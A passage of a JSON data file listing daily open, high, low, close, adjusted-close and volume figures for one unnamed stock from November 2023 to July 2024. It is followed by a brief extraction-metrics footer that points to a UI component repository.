    "adjClose": 331.518768,
    "volume": 16024500
  },
  {
    "date": "2023-11-30",
    "open": 331.890015,
    "high": 333.5,
    "low": 322.399994,
    "close": 327.149994,
    "adjClose": 326.479095,
    "volume": 23146400
  },
  {
    "date": "2023-12-01",
    "open": 325.480011,
    "high": 326.859985,
    "low": 320.76001,
    "close": 324.820007,
    "adjClose": 324.1539,
    "volume": 15264700
  },
  {
    "date": "2023-12-04",
    "open": 317.290009,
    "high": 320.859985,
    "low": 313.660004,
    "close": 320.019989,
    "adjClose": 319.363739,
    "volume": 19037100
  },
  {
    "date": "2023-12-05",
    "open": 318.980011,
    "high": 321.880005,
    "low": 315.390015,
    "close": 318.290009,
    "adjClose": 317.637299,
    "volume": 16952100
  },
  {
    "date": "2023-12-06",
    "open": 321.929993,
    "high": 322.25,
    "low": 317.040009,
    "close": 317.450012,
    "adjClose": 316.799011,
    "volume": 11294300
  },
  {
    "date": "2023-12-07",
    "open": 317.769989,
    "high": 328.23999,
    "low": 317.769989,
    "close": 326.589996,
    "adjClose": 325.920258,
    "volume": 15905100
  },
  {
    "date": "2023-12-08",
    "open": 323.089996,
    "high": 333.170013,
    "low": 323.0,
    "close": 332.75,
    "adjClose": 332.067627,
    "volume": 14077500
  },
  {
    "date": "2023-12-11",
    "open": 329.399994,
    "high": 329.890015,
    "low": 320.0,
    "close": 325.279999,
    "adjClose": 324.612946,
    "volume": 25802500
  },
  {
    "date": "2023-12-12",
    "open": 324.600006,
    "high": 334.470001,
    "low": 324.559998,
    "close": 334.220001,
    "adjClose": 333.534607,
    "volume": 18485500
  },
  {
    "date": "2023-12-13",
    "open": 333.929993,
    "high": 338.369995,
    "low": 332.640015,
    "close": 334.73999,
    "adjClose": 334.053528,
    "volume": 16353300
  },
  {
    "date": "2023-12-14",
    "open": 333.850006,
    "high": 334.700012,
    "low": 328.640015,
    "close": 333.170013,
    "adjClose": 332.486755,
    "volume": 19607300
  },
  {
    "date": "2023-12-15",
    "open": 331.98999,
    "high": 338.660004,
    "low": 331.220001,
    "close": 334.920013,
    "adjClose": 334.233185,
    "volume": 30001600
  },
  {
    "date": "2023-12-18",
    "open": 337.480011,
    "high": 347.559998,
    "low": 337.019989,
    "close": 344.619995,
    "adjClose": 343.913269,
    "volume": 18993900
  },
  {
    "date": "2023-12-19",
    "open": 345.579987,
    "high": 353.600006,
    "low": 345.119995,
    "close": 350.359985,
    "adjClose": 349.64151,
    "volume": 17729400
  },
  {
    "date": "2023-12-20",
    "open": 348.649994,
    "high": 354.959991,
    "low": 347.790009,
    "close": 349.279999,
    "adjClose": 348.563721,
    "volume": 16369900
  },
  {
    "date": "2023-12-21",
    "open": 352.980011,
    "high": 356.410004,
    "low": 349.209991,
    "close": 354.089996,
    "adjClose": 353.363831,
    "volume": 15289600
  },
  {
    "date": "2023-12-22",
    "open": 355.579987,
    "high": 357.200012,
    "low": 351.220001,
    "close": 353.390015,
    "adjClose": 352.665314,
    "volume": 11764200
  },
  {
    "date": "2023-12-26",
    "open": 354.98999,
    "high": 356.980011,
    "low": 353.450012,
    "close": 354.829987,
    "adjClose": 354.102325,
    "volume": 9898600
  },
  {
    "date": "2023-12-27",
    "open": 356.070007,
    "high": 359.0,
    "low": 355.309998,
    "close": 357.829987,
    "adjClose": 357.096191,
    "volume": 13207900
  },
  {
    "date": "2023-12-28",
    "open": 359.700012,
    "high": 361.899994,
    "low": 357.809998,
    "close": 358.320007,
    "adjClose": 357.585205,
    "volume": 11798800
  },
  {
    "date": "2023-12-29",
    "open": 358.98999,
    "high": 360.0,
    "low": 351.820007,
    "close": 353.959991,
    "adjClose": 353.234131,
    "volume": 14980500
  },
  {
    "date": "2024-01-02",
    "open": 351.320007,
    "high": 353.160004,
    "low": 340.01001,
    "close": 346.290009,
    "adjClose": 345.579865,
    "volume": 19042200
  },
  {
    "date": "2024-01-03",
    "open": 344.980011,
    "high": 347.950012,
    "low": 343.179993,
    "close": 344.470001,
    "adjClose": 343.76358,
    "volume": 15451100
  },
  {
    "date": "2024-01-04",
    "open": 344.5,
    "high": 348.149994,
    "low": 343.399994,
    "close": 347.119995,
    "adjClose": 346.408142,
    "volume": 12099900
  },
  {
    "date": "2024-01-05",
    "open": 346.98999,
    "high": 353.5,
    "low": 346.26001,
    "close": 351.950012,
    "adjClose": 351.228271,
    "volume": 13920700
  },
  {
    "date": "2024-01-08",
    "open": 354.700012,
    "high": 358.980011,
    "low": 352.049988,
    "close": 358.660004,
    "adjClose": 357.9245,
    "volume": 13890200
  },
  {
    "date": "2024-01-09",
    "open": 356.399994,
    "high": 360.640015,
    "low": 355.359985,
    "close": 357.429993,
    "adjClose": 356.697021,
    "volume": 13463900
  },
  {
    "date": "2024-01-10",
    "open": 360.170013,
    "high": 372.940002,
    "low": 359.079987,
    "close": 370.470001,
    "adjClose": 369.710266,
    "volume": 22117200
  },
  {
    "date": "2024-01-11",
    "open": 372.130005,
    "high": 372.779999,
    "low": 362.929993,
    "close": 369.670013,
    "adjClose": 368.911926,
    "volume": 17205400
  },
  {
    "date": "2024-01-12",
    "open": 370.160004,
    "high": 377.059998,
    "low": 369.540009,
    "close": 374.48999,
    "adjClose": 373.722015,
    "volume": 19295700
  },
  {
    "date": "2024-01-16",
    "open": 373.649994,
    "high": 375.609985,
    "low": 367.230011,
    "close": 367.459991,
    "adjClose": 366.706451,
    "volume": 15306900
  },
  {
    "date": "2024-01-17",
    "open": 366.299988,
    "high": 368.540009,
    "low": 358.609985,
    "close": 368.369995,
    "adjClose": 367.614563,
    "volume": 12724800
  },
  {
    "date": "2024-01-18",
    "open": 371.48999,
    "high": 376.850006,
    "low": 370.950012,
    "close": 376.130005,
    "adjClose": 375.358673,
    "volume": 16354300
  },
  {
    "date": "2024-01-19",
    "open": 379.0,
    "high": 384.359985,
    "low": 377.970001,
    "close": 383.450012,
    "adjClose": 382.663666,
    "volume": 21470100
  },
  {
    "date": "2024-01-22",
    "open": 387.950012,
    "high": 390.350006,
    "low": 381.160004,
    "close": 381.779999,
    "adjClose": 380.99707,
    "volume": 17680500
  },
  {
    "date": "2024-01-23",
    "open": 384.619995,
    "high": 388.380005,
    "low": 382.079987,
    "close": 385.200012,
    "adjClose": 384.410065,
    "volume": 15506100
  },
  {
    "date": "2024-01-24",
    "open": 390.0,
    "high": 396.149994,
    "low": 387.809998,
    "close": 390.700012,
    "adjClose": 389.898773,
    "volume": 15698500
  },
  {
    "date": "2024-01-25",
    "open": 390.170013,
    "high": 395.48999,
    "low": 385.660004,
    "close": 393.179993,
    "adjClose": 392.373688,
    "volume": 15091100
  },
  {
    "date": "2024-01-26",
    "open": 394.350006,
    "high": 396.790009,
    "low": 391.589996,
    "close": 394.140015,
    "adjClose": 393.331757,
    "volume": 13163700
  },
  {
    "date": "2024-01-29",
    "open": 394.98999,
    "high": 402.929993,
    "low": 393.100006,
    "close": 401.019989,
    "adjClose": 400.197601,
    "volume": 18742400
  },
  {
    "date": "2024-01-30",
    "open": 403.589996,
    "high": 406.359985,
    "low": 399.570007,
    "close": 400.059998,
    "adjClose": 399.239594,
    "volume": 18614700
  },
  {
    "date": "2024-01-31",
    "open": 389.0,
    "high": 398.0,
    "low": 387.100006,
    "close": 390.140015,
    "adjClose": 389.339966,
    "volume": 20180800
  },
  {
    "date": "2024-02-01",
    "open": 393.940002,
    "high": 400.5,
    "low": 393.049988,
    "close": 394.779999,
    "adjClose": 393.970428,
    "volume": 29727100
  },
  {
    "date": "2024-02-02",
    "open": 459.600006,
    "high": 485.959991,
    "low": 453.01001,
    "close": 474.98999,
    "adjClose": 474.01593,
    "volume": 84615500
  },
  {
    "date": "2024-02-05",
    "open": 469.880005,
    "high": 471.899994,
    "low": 459.220001,
    "close": 459.410004,
    "adjClose": 458.467865,
    "volume": 40832400
  },
  {
    "date": "2024-02-06",
    "open": 464.0,
    "high": 467.119995,
    "low": 453.0,
    "close": 454.720001,
    "adjClose": 453.787506,
    "volume": 21655200
  },
  {
    "date": "2024-02-07",
    "open": 458.0,
    "high": 471.519989,
    "low": 456.179993,
    "close": 469.589996,
    "adjClose": 468.626984,
    "volume": 23066000
  },
  {
    "date": "2024-02-08",
    "open": 468.320007,
    "high": 470.589996,
    "low": 465.029999,
    "close": 470.0,
    "adjClose": 469.036163,
    "volume": 18815100
  },
  {
    "date": "2024-02-09",
    "open": 472.950012,
    "high": 473.589996,
    "low": 467.470001,
    "close": 468.109985,
    "adjClose": 467.150024,
    "volume": 18413100
  },
  {
    "date": "2024-02-12",
    "open": 468.190002,
    "high": 479.149994,
    "low": 466.579987,
    "close": 468.899994,
    "adjClose": 467.938416,
    "volume": 19382000
  },
  {
    "date": "2024-02-13",
    "open": 456.869995,
    "high": 467.890015,
    "low": 455.089996,
    "close": 460.119995,
    "adjClose": 459.176422,
    "volume": 20916600
  },
  {
    "date": "2024-02-14",
    "open": 467.929993,
    "high": 474.109985,
    "low": 466.089996,
    "close": 473.279999,
    "adjClose": 472.309418,
    "volume": 16858400
  },
  {
    "date": "2024-02-15",
    "open": 475.279999,
    "high": 488.619995,
    "low": 472.220001,
    "close": 484.029999,
    "adjClose": 483.037384,
    "volume": 24212300
  },
  {
    "date": "2024-02-16",
    "open": 478.109985,
    "high": 478.959991,
    "low": 469.209991,
    "close": 473.320007,
    "adjClose": 472.349365,
    "volume": 23306500
  },
  {
    "date": "2024-02-20",
    "open": 469.720001,
    "high": 476.179993,
    "low": 466.559998,
    "close": 471.75,
    "adjClose": 470.782562,
    "volume": 18015500
  },
  {
    "date": "2024-02-21",
    "open": 466.5,
    "high": 469.0,
    "low": 461.790009,
    "close": 468.029999,
    "adjClose": 467.565765,
    "volume": 12977100
  },
  {
    "date": "2024-02-22",
    "open": 480.23999,
    "high": 489.98999,
    "low": 476.059998,
    "close": 486.130005,
    "adjClose": 485.647827,
    "volume": 21625800
  },
  {
    "date": "2024-02-23",
    "open": 488.049988,
    "high": 494.359985,
    "low": 482.350006,
    "close": 484.029999,
    "adjClose": 483.549896,
    "volume": 18374300
  },
  {
    "date": "2024-02-26",
    "open": 483.470001,
    "high": 486.140015,
    "low": 480.600006,
    "close": 481.73999,
    "adjClose": 481.262177,
    "volume": 12101400
  },
  {
    "date": "2024-02-27",
    "open": 479.980011,
    "high": 487.269989,
    "low": 479.920013,
    "close": 487.049988,
    "adjClose": 486.566895,
    "volume": 10809600
  },
  {
    "date": "2024-02-28",
    "open": 485.0,
    "high": 491.049988,
    "low": 482.75,
    "close": 484.019989,
    "adjClose": 483.539886,
    "volume": 12715500
  },
  {
    "date": "2024-02-29",
    "open": 488.440002,
    "high": 491.700012,
    "low": 482.609985,
    "close": 490.130005,
    "adjClose": 489.64386,
    "volume": 17732000
  },
  {
    "date": "2024-03-01",
    "open": 492.109985,
    "high": 504.25,
    "low": 491.850006,
    "close": 502.299988,
    "adjClose": 501.801758,
    "volume": 16273600
  },
  {
    "date": "2024-03-04",
    "open": 503.0,
    "high": 504.420013,
    "low": 496.420013,
    "close": 498.190002,
    "adjClose": 497.695862,
    "volume": 12324100
  },
  {
    "date": "2024-03-05",
    "open": 495.0,
    "high": 495.579987,
    "low": 487.890015,
    "close": 490.220001,
    "adjClose": 489.733765,
    "volume": 15325300
  },
  {
    "date": "2024-03-06",
    "open": 497.630005,
    "high": 502.970001,
    "low": 494.290009,
    "close": 496.089996,
    "adjClose": 495.597931,
    "volume": 11757900
  },
  {
    "date": "2024-03-07",
    "open": 503.279999,
    "high": 519.849976,
    "low": 501.380005,
    "close": 512.190002,
    "adjClose": 511.681976,
    "volume": 18586400
  },
  {
    "date": "2024-03-08",
    "open": 514.190002,
    "high": 523.570007,
    "low": 499.350006,
    "close": 505.950012,
    "adjClose": 505.448181,
    "volume": 18575200
  },
  {
    "date": "2024-03-11",
    "open": 497.01001,
    "high": 497.320007,
    "low": 476.0,
    "close": 483.589996,
    "adjClose": 483.110321,
    "volume": 20428300
  },
  {
    "date": "2024-03-12",
    "open": 493.26001,
    "high": 502.309998,
    "low": 484.730011,
    "close": 499.75,
    "adjClose": 499.254303,
    "volume": 15448200
  },
  {
    "date": "2024-03-13",
    "open": 495.390015,
    "high": 500.980011,
    "low": 491.029999,
    "close": 495.570007,
    "adjClose": 495.078461,
    "volume": 12090700
  },
  {
    "date": "2024-03-14",
    "open": 500.26001,
    "high": 501.350006,
    "low": 488.160004,
    "close": 491.829987,
    "adjClose": 491.342163,
    "volume": 12620000
  },
  {
    "date": "2024-03-15",
    "open": 489.01001,
    "high": 491.829987,
    "low": 481.299988,
    "close": 484.100006,
    "adjClose": 483.619843,
    "volume": 29141700
  },
  {
    "date": "2024-03-18",
    "open": 491.910004,
    "high": 497.420013,
    "low": 486.809998,
    "close": 496.980011,
    "adjClose": 496.487061,
    "volume": 11755300
  },
  {
    "date": "2024-03-19",
    "open": 488.170013,
    "high": 496.630005,
    "low": 481.279999,
    "close": 496.23999,
    "adjClose": 495.747772,
    "volume": 10903100
  },
  {
    "date": "2024-03-20",
    "open": 499.5,
    "high": 508.200012,
    "low": 495.170013,
    "close": 505.519989,
    "adjClose": 505.018585,
    "volume": 11711100
  },
  {
    "date": "2024-03-21",
    "open": 514.710022,
    "high": 515.039978,
    "low": 506.01001,
    "close": 507.76001,
    "adjClose": 507.256378,
    "volume": 9712500
  },
  {
    "date": "2024-03-22",
    "open": 507.0,
    "high": 509.970001,
    "low": 504.339996,
    "close": 509.579987,
    "adjClose": 509.074554,
    "volume": 8117000
  },
  {
    "date": "2024-03-25",
    "open": 505.790009,
    "high": 507.220001,
    "low": 500.23999,
    "close": 503.019989,
    "adjClose": 502.521057,
    "volume": 8380600
  },
  {
    "date": "2024-03-26",
    "open": 505.130005,
    "high": 510.0,
    "low": 495.209991,
    "close": 495.890015,
    "adjClose": 495.398163,
    "volume": 11205400
  },
  {
    "date": "2024-03-27",
    "open": 499.299988,
    "high": 499.890015,
    "low": 488.070007,
    "close": 493.859985,
    "adjClose": 493.370148,
    "volume": 9989700
  },
  {
    "date": "2024-03-28",
    "open": 492.839996,
    "high": 492.890015,
    "low": 485.149994,
    "close": 485.579987,
    "adjClose": 485.098358,
    "volume": 15212800
  },
  {
    "date": "2024-04-01",
    "open": 487.200012,
    "high": 497.429993,
    "low": 481.779999,
    "close": 491.350006,
    "adjClose": 490.86264,
    "volume": 9247000
  },
  {
    "date": "2024-04-02",
    "open": 485.100006,
    "high": 497.529999,
    "low": 484.649994,
    "close": 497.369995,
    "adjClose": 496.876678,
    "volume": 11081000
  },
  {
    "date": "2024-04-03",
    "open": 498.929993,
    "high": 507.23999,
    "low": 498.75,
    "close": 506.73999,
    "adjClose": 506.237366,
    "volume": 12099200
  },
  {
    "date": "2024-04-04",
    "open": 516.419983,
    "high": 530.0,
    "low": 510.579987,
    "close": 510.920013,
    "adjClose": 510.413239,
    "volume": 26476300
  },
  {
    "date": "2024-04-05",
    "open": 516.859985,
    "high": 530.700012,
    "low": 514.409973,
    "close": 527.340027,
    "adjClose": 526.816956,
    "volume": 19242000
  },
  {
    "date": "2024-04-08",
    "open": 529.280029,
    "high": 531.48999,
    "low": 518.890015,
    "close": 519.25,
    "adjClose": 518.734985,
    "volume": 13260600
  },
  {
    "date": "2024-04-09",
    "open": 522.22998,
    "high": 525.869995,
    "low": 506.73999,
    "close": 516.900024,
    "adjClose": 516.387329,
    "volume": 10881400
  },
  {
    "date": "2024-04-10",
    "open": 509.290009,
    "high": 522.559998,
    "low": 505.799988,
    "close": 519.830017,
    "adjClose": 519.314392,
    "volume": 11418500
  },
  {
    "date": "2024-04-11",
    "open": 521.109985,
    "high": 523.859985,
    "low": 517.289978,
    "close": 523.159973,
    "adjClose": 522.641052,
    "volume": 10369500
  },
  {
    "date": "2024-04-12",
    "open": 517.75,
    "high": 520.190002,
    "low": 509.329987,
    "close": 511.899994,
    "adjClose": 511.392242,
    "volume": 11944900
  },
  {
    "date": "2024-04-15",
    "open": 516.719971,
    "high": 518.530029,
    "low": 497.279999,
    "close": 500.230011,
    "adjClose": 499.733856,
    "volume": 13512900
  },
  {
    "date": "2024-04-16",
    "open": 498.109985,
    "high": 504.769989,
    "low": 497.109985,
    "close": 499.76001,
    "adjClose": 499.264313,
    "volume": 9847900
  },
  {
    "date": "2024-04-17",
    "open": 503.100006,
    "high": 503.160004,
    "low": 487.140015,
    "close": 494.170013,
    "adjClose": 493.679871,
    "volume": 12193700
  },
  {
    "date": "2024-04-18",
    "open": 499.820007,
    "high": 512.210022,
    "low": 499.040009,
    "close": 501.799988,
    "adjClose": 501.302277,
    "volume": 14808700
  },
  {
    "date": "2024-04-19",
    "open": 502.799988,
    "high": 502.799988,
    "low": 475.730011,
    "close": 481.070007,
    "adjClose": 480.592834,
    "volume": 25111000
  },
  {
    "date": "2024-04-22",
    "open": 489.720001,
    "high": 492.01001,
    "low": 473.399994,
    "close": 481.730011,
    "adjClose": 481.252197,
    "volume": 17271100
  },
  {
    "date": "2024-04-23",
    "open": 491.25,
    "high": 498.76001,
    "low": 488.970001,
    "close": 496.100006,
    "adjClose": 495.607941,
    "volume": 15079200
  },
  {
    "date": "2024-04-24",
    "open": 508.059998,
    "high": 510.0,
    "low": 484.579987,
    "close": 493.5,
    "adjClose": 493.010498,
    "volume": 37772700
  },
  {
    "date": "2024-04-25",
    "open": 421.399994,
    "high": 445.769989,
    "low": 414.5,
    "close": 441.380005,
    "adjClose": 440.9422,
    "volume": 82890700
  },
  {
    "date": "2024-04-26",
    "open": 441.459991,
    "high": 446.440002,
    "low": 431.959991,
    "close": 443.290009,
    "adjClose": 442.850311,
    "volume": 32691400
  },
  {
    "date": "2024-04-29",
    "open": 439.559998,
    "high": 439.76001,
    "low": 428.559998,
    "close": 432.619995,
    "adjClose": 432.190887,
    "volume": 21502600
  },
  {
    "date": "2024-04-30",
    "open": 431.049988,
    "high": 439.619995,
    "low": 429.720001,
    "close": 430.170013,
    "adjClose": 429.743347,
    "volume": 18429500
  },
  {
    "date": "2024-05-01",
    "open": 428.600006,
    "high": 449.959991,
    "low": 427.109985,
    "close": 439.190002,
    "adjClose": 438.754364,
    "volume": 20344900
  },
  {
    "date": "2024-05-02",
    "open": 438.839996,
    "high": 443.959991,
    "low": 432.279999,
    "close": 441.679993,
    "adjClose": 441.241913,
    "volume": 15221300
  },
  {
    "date": "2024-05-03",
    "open": 445.929993,
    "high": 454.170013,
    "low": 443.850006,
    "close": 451.959991,
    "adjClose": 451.511688,
    "volume": 16489100
  },
  {
    "date": "2024-05-06",
    "open": 455.579987,
    "high": 466.160004,
    "low": 453.339996,
    "close": 465.679993,
    "adjClose": 465.218079,
    "volume": 15094600
  },
  {
    "date": "2024-05-07",
    "open": 466.290009,
    "high": 471.529999,
    "low": 461.309998,
    "close": 468.23999,
    "adjClose": 467.775543,
    "volume": 13406800
  },
  {
    "date": "2024-05-08",
    "open": 463.5,
    "high": 475.579987,
    "low": 463.0,
    "close": 472.600006,
    "adjClose": 472.131256,
    "volume": 11683900
  },
  {
    "date": "2024-05-09",
    "open": 470.0,
    "high": 476.079987,
    "low": 467.630005,
    "close": 475.420013,
    "adjClose": 474.948456,
    "volume": 9437700
  },
  {
    "date": "2024-05-10",
    "open": 477.089996,
    "high": 477.5,
    "low": 469.600006,
    "close": 476.200012,
    "adjClose": 475.727692,
    "volume": 10750000
  },
  {
    "date": "2024-05-13",
    "open": 472.75,
    "high": 473.350006,
    "low": 462.850006,
    "close": 468.01001,
    "adjClose": 467.545807,
    "volume": 14668800
  },
  {
    "date": "2024-05-14",
    "open": 463.369995,
    "high": 472.540009,
    "low": 460.079987,
    "close": 471.850006,
    "adjClose": 471.381989,
    "volume": 10478600
  },
  {
    "date": "2024-05-15",
    "open": 474.980011,
    "high": 482.5,
    "low": 471.200012,
    "close": 481.540009,
    "adjClose": 481.062378,
    "volume": 13100500
  },
  {
    "date": "2024-05-16",
    "open": 475.0,
    "high": 477.690002,
    "low": 472.75,
    "close": 473.230011,
    "adjClose": 472.76062,
    "volume": 16608200
  },
  {
    "date": "2024-05-17",
    "open": 470.829987,
    "high": 472.799988,
    "low": 468.420013,
    "close": 471.910004,
    "adjClose": 471.441925,
    "volume": 10807300
  },
  {
    "date": "2024-05-20",
    "open": 469.950012,
    "high": 473.200012,
    "low": 467.040009,
    "close": 468.839996,
    "adjClose": 468.374969,
    "volume": 11745100
  },
  {
    "date": "2024-05-21",
    "open": 467.119995,
    "high": 470.700012,
    "low": 462.269989,
    "close": 464.630005,
    "adjClose": 464.169159,
    "volume": 11742200
  },
  {
    "date": "2024-05-22",
    "open": 467.869995,
    "high": 473.720001,
    "low": 465.649994,
    "close": 467.779999,
    "adjClose": 467.31601,
    "volume": 10078600
  },
  {
    "date": "2024-05-23",
    "open": 472.880005,
    "high": 474.359985,
    "low": 461.540009,
    "close": 465.779999,
    "adjClose": 465.317993,
    "volume": 11747900
  },
  {
    "date": "2024-05-24",
    "open": 467.619995,
    "high": 479.850006,
    "low": 466.299988,
    "close": 478.220001,
    "adjClose": 477.745667,
    "volume": 12012300
  },
  {
    "date": "2024-05-28",
    "open": 476.579987,
    "high": 480.859985,
    "low": 474.839996,
    "close": 479.920013,
    "adjClose": 479.444,
    "volume": 10175800
  },
  {
    "date": "2024-05-29",
    "open": 474.660004,
    "high": 479.850006,
    "low": 473.700012,
    "close": 474.359985,
    "adjClose": 473.889465,
    "volume": 9226200
  },
  {
    "date": "2024-05-30",
    "open": 471.670013,
    "high": 471.730011,
    "low": 464.709991,
    "close": 467.049988,
    "adjClose": 466.586731,
    "volume": 10735200
  },
  {
    "date": "2024-05-31",
    "open": 465.799988,
    "high": 469.119995,
    "low": 454.459991,
    "close": 466.829987,
    "adjClose": 466.366943,
    "volume": 16919800
  },
  {
    "date": "2024-06-03",
    "open": 470.859985,
    "high": 479.600006,
    "low": 468.23999,
    "close": 477.48999,
    "adjClose": 477.016388,
    "volume": 11279400
  },
  {
    "date": "2024-06-04",
    "open": 477.0,
    "high": 478.890015,
    "low": 473.230011,
    "close": 476.98999,
    "adjClose": 476.516876,
    "volume": 7088700
  },
  {
    "date": "2024-06-05",
    "open": 484.450012,
    "high": 496.649994,
    "low": 483.910004,
    "close": 495.059998,
    "adjClose": 494.56897,
    "volume": 15690500
  },
  {
    "date": "2024-06-06",
    "open": 492.980011,
    "high": 502.820007,
    "low": 490.890015,
    "close": 493.76001,
    "adjClose": 493.270264,
    "volume": 10667300
  },
  {
    "date": "2024-06-07",
    "open": 495.910004,
    "high": 498.910004,
    "low": 490.170013,
    "close": 492.959991,
    "adjClose": 492.471039,
    "volume": 9380700
  },
  {
    "date": "2024-06-10",
    "open": 493.859985,
    "high": 502.660004,
    "low": 493.410004,
    "close": 502.600006,
    "adjClose": 502.101501,
    "volume": 11236900
  },
  {
    "date": "2024-06-11",
    "open": 500.160004,
    "high": 507.600006,
    "low": 498.269989,
    "close": 507.470001,
    "adjClose": 506.966644,
    "volume": 9673700
  },
  {
    "date": "2024-06-12",
    "open": 513.98999,
    "high": 514.01001,
    "low": 504.470001,
    "close": 508.839996,
    "adjClose": 508.335297,
    "volume": 11983200
  },
  {
    "date": "2024-06-13",
    "open": 505.709991,
    "high": 509.359985,
    "low": 501.359985,
    "close": 504.100006,
    "adjClose": 503.600006,
    "volume": 9954600
  },
  {
    "date": "2024-06-14",
    "open": 502.649994,
    "high": 507.149994,
    "low": 500.75,
    "close": 504.160004,
    "adjClose": 504.160004,
    "volume": 10243300
  },
  {
    "date": "2024-06-17",
    "open": 501.670013,
    "high": 510.75,
    "low": 496.01001,
    "close": 506.630005,
    "adjClose": 506.630005,
    "volume": 11266600
  },
  {
    "date": "2024-06-18",
    "open": 504.559998,
    "high": 506.0,
    "low": 495.019989,
    "close": 499.48999,
    "adjClose": 499.48999,
    "volume": 13060400
  },
  {
    "date": "2024-06-20",
    "open": 502.0,
    "high": 503.670013,
    "low": 496.769989,
    "close": 501.700012,
    "adjClose": 501.700012,
    "volume": 11801200
  },
  {
    "date": "2024-06-21",
    "open": 503.450012,
    "high": 503.450012,
    "low": 492.390015,
    "close": 494.779999,
    "adjClose": 494.779999,
    "volume": 23130700
  },
  {
    "date": "2024-06-24",
    "open": 499.200012,
    "high": 507.799988,
    "low": 494.290009,
    "close": 498.910004,
    "adjClose": 498.910004,
    "volume": 13525300
  },
  {
    "date": "2024-06-25",
    "open": 497.049988,
    "high": 510.709991,
    "low": 495.5,
    "close": 510.600006,
    "adjClose": 510.600006,
    "volume": 12109800
  },
  {
    "date": "2024-06-26",
    "open": 506.649994,
    "high": 513.809998,
    "low": 504.679993,
    "close": 513.119995,
    "adjClose": 513.119995,
    "volume": 8882300
  },
  {
    "date": "2024-06-27",
    "open": 514.25,
    "high": 522.880005,
    "low": 513.900024,
    "close": 519.559998,
    "adjClose": 519.559998,
    "volume": 10121200
  },
  {
    "date": "2024-06-28",
    "open": 517.150024,
    "high": 521.880005,
    "low": 503.839996,
    "close": 504.220001,
    "adjClose": 504.220001,
    "volume": 15855100
  },
  {
    "date": "2024-07-01",
    "open": 504.950012,
    "high": 506.579987,
    "low": 493.170013,
    "close": 504.679993,
    "adjClose": 504.679993,
    "volume": 10328200
  },
  {
    "date": "2024-07-02",
    "open": 500.76001,
    "high": 510.5,
    "low": 499.450012,
    "close": 509.5,
    "adjClose": 509.5,
    "volume": 7739500
  },
  {
    "date": "2024-07-03",
    "open": 506.369995,
    "high": 511.279999,
    "low": 506.019989,
    "close": 509.959991,
    "adjClose": 509.959991,
    "volume": 6005600
  },
  {
    "date": "2024-07-05",
    "open": 511.600006,
    "high": 540.869995,
    "low": 511.600006,
    "close": 539.909973,
    "adjClose": 539.909973,
    "volume": 21354100
  },
  {
    "date": "2024-07-08",
    "open": 542.349976,
    "high": 542.809998,
    "low": 526.650024,
    "close": 529.320007,
    "adjClose": 529.320007,
    "volume": 14917500
  },
  {
    "date": "2024-07-09",
    "open": 533.75,
    "high": 537.47998,
    "low": 528.190002,
    "close": 530.0,
    "adjClose": 530.0,
    "volume": 8753200
  },
  {
    "date": "2024-07-10",
    "open": 530.789978,
    "high": 538.880005,
    "low": 528.359985,
    "close": 534.690002,
    "adjClose": 534.690002,
    "volume": 10983300
  },
  {
    "date": "2024-07-11",
    "open": 530.890015,
    "high": 535.460022,
    "low": 508.369995,
    "close": 512.700012,
    "adjClose": 512.700012,
    "volume": 16458300
  },
  {
    "date": "2024-07-12",
    "open": 497.76001,
    "high": 508.089996,
    "low": 494.230011,
    "close": 498.869995,
    "adjClose": 498.869995,
    "volume": 19750500
  },
  {
    "date": "2024-07-15",
    "open": 498.630005,
    "high": 506.679993,
    "low": 493.369995,
    "close": 496.160004,
    "adjClose": 496.160004,
    "volume": 12539200
  },
  {
    "date": "2024-07-16",
    "open": 501.5,
    "high": 503.950012,
    "low": 485.790009,
    "close": 489.790009,
    "adjClose": 489.790009,
    "volume": 14075800
  },
  {
    "date": "2024-07-17",
    "open": 479.170013,
    "high": 479.170013,
    "low": 459.119995,
    "close": 461.98999,
    "adjClose": 461.98999,
    "volume": 28076600
  },
  {
    "date": "2024-07-18",
    "open": 475.0,
    "high": 479.23999,
    "low": 464.540009,
    "close": 475.850006,
    "adjClose": 475.850006,
    "volume": 19267200
  },
  {
    "date": "2024-07-19",
    "open": 476.059998,
    "high": 486.709991,
    "low": 475.709991,
    "close": 476.790009,
    "adjClose": 476.790009,
    "volume": 15149400
  },
  {
    "date": "2024-07-22",
    "open": 486.579987,
    "high": 492.059998,
    "low": 483.899994,
    "close": 487.399994,
    "adjClose": 487.399994,
    "volume": 12008500
  }
]

---

--- METRICS ---
- Files Extracted: 85
- Estimated Token Budget: ~134606 tokens
- Canonical Reference: https://codewiki.google/github.com/mui/mui-x
